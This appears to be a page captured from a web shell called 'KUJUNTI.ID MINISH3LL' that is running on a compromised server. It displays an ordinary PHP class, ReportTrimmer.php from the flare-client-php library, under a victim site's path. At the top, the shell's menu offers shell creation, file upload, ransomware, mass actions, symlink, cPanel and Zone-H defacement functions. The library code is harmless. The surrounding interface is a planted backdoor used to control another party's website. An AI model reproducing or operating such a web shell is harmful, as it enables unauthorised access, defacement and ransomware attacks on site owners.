KUJUNTI.ID MINISH3LL
Path : /var/www/html/phkaymedia/vendor/facade/flare-client-php/src/Truncation/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/phkaymedia/vendor/facade/flare-client-php/src/Truncation/ReportTrimmer.php


<?php

namespace Facade\FlareClient\Truncation;

class ReportTrimmer
{
    protected static $maxPayloadSize = 524288;

    protected $strategies = [
        TrimStringsStrategy::class,
        TrimContextItemsStrategy::class,
    ];

    public function trim(array $payload): array
    {
        foreach ($this->strategies as $strategy) {
            if (! $this->needsToBeTrimmed($payload)) {
                break;
            }

            $payload = (new $strategy($this))->execute($payload);
        }

        return $payload;
    }

    public function needsToBeTrimmed(array $payload): bool
    {
        return strlen(json_encode($payload)) > self::getMaxPayloadSize();
    }

    public static function getMaxPayloadSize(): int
    {
        return self::$maxPayloadSize;
    }

    public static function setMaxPayloadSize(int $maxPayloadSize): void
    {
        self::$maxPayloadSize = $maxPayloadSize;
    }
}

© KUJUNTI.ID